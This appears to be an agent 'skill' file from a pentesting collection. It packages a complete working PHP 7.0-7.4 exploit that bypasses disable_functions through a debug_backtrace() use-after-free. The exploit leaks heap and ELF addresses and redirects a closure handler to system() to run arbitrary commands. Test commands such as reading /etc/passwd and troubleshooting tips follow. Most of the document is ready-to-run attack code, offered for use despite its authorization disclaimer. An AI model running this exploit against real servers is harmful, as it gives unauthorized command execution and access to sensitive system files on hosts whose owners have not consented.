Hacktricks-skills php-disable-functions-bypass
Bypass PHP disable_functions restriction using the debug_backtrace() UAF vulnerability (PHP 7.0-7.4, *nix only). Use this skill when you need to execute system commands in PHP environments where functions like system(), exec(), shell_exec() are disabled. This is for authorized security testing and penetration testing only. Trigger this skill when the user mentions PHP disable_functions bypass, PHP UAF exploitation, PHP 7.x command execution, or any scenario involving restricted PHP function execution in a pentesting context.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only/SKILL.MDPHP disable_functions Bypass (PHP 7.0-7.4, *nix only)
Overview
This skill provides a method to bypass PHP's
disable_functions configuration directive using a Use-After-Free (UAF) vulnerability in debug_backtrace(). This affects PHP versions 7.0 through 7.4 on *nix systems.
⚠️ SECURITY WARNING: This technique should only be used in authorized security testing and penetration testing scenarios. Unauthorized use may violate laws and regulations.
Vulnerability Details
- Bug Report: https://bugs.php.net/bug.php?id=76047
- Original Exploit: https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
- Affected Versions: PHP 7.0 - 7.4
- Platform: *nix only (Linux, BSD, macOS)
- Vulnerability Type: Use-After-Free (UAF) via
debug_backtrace()
How It Works
The exploit leverages a memory corruption vulnerability where
debug_backtrace() returns a reference to a variable that has been destroyed. This allows an attacker to:
- Trigger a UAF condition through object destruction
- Leak memory addresses from the PHP heap
- Parse the ELF binary to find function addresses
- Overwrite function handlers to redirect execution to
system() - Execute arbitrary system commands
Prerequisites
Before using this bypass, verify:
- PHP Version: 7.0 - 7.4 (check with
orphp -v
)<?php phpinfo(); - Operating System: *nix (Linux, BSD, macOS) - NOT Windows
- Target Functions:
,system()
,exec()
,shell_exec()
, etc. are disabledpassthru() - Access: You have a PHP file upload or code execution vector
Usage
Basic Exploit Template
Create a PHP file with the following structure:
<?php # PHP 7.0-7.4 disable_functions bypass PoC (*nix only) # Bug: https://bugs.php.net/bug.php?id=76047 # debug_backtrace() returns a reference to a variable # that has been destroyed, causing a UAF vulnerability. pwn("YOUR_COMMAND_HERE"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle(str_repeat('A', 79)); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A', 79)); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); }
Quick Test Commands
Replace
YOUR_COMMAND_HERE with:
pwn("id"); pwn("whoami"); pwn("uname -a"); pwn("cat /etc/passwd"); pwn("ls -la /");
Common Issues and Solutions
UAF Failed
If you see "UAF failed" error:
- Increase allocation count: Change
to$n_alloc = 10;
or higher$n_alloc = 20; - Check PHP version: Ensure you're on PHP 7.0-7.4
- *Verify nix platform: This exploit does not work on Windows
Binary Base Address Not Found
If you see "Couldn't determine binary base address":
- Check PHP version compatibility: Some PHP builds may have different memory layouts
- Try different PHP versions: The exploit works best on PHP 7.2-7.3
- Verify ELF parsing: The exploit assumes standard ELF format
Function Not Found
If you see "Couldn't get zif_system address":
- Verify function is actually disabled: Check
outputphpinfo() - Try alternative functions: The exploit can be modified to target other disabled functions
- Check PHP build: Some custom PHP builds may have different function table layouts
Alternative Bypass Methods
If this exploit doesn't work, consider:
- PHP 5.x bypasses: Different techniques for older PHP versions
- PHP 8.x bypasses: Newer PHP versions require different approaches
- Windows-specific bypasses: Different techniques for Windows environments
- Other PHP vulnerabilities: File inclusion, deserialization, etc.
References
Legal Disclaimer
This skill is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing any system you do not own.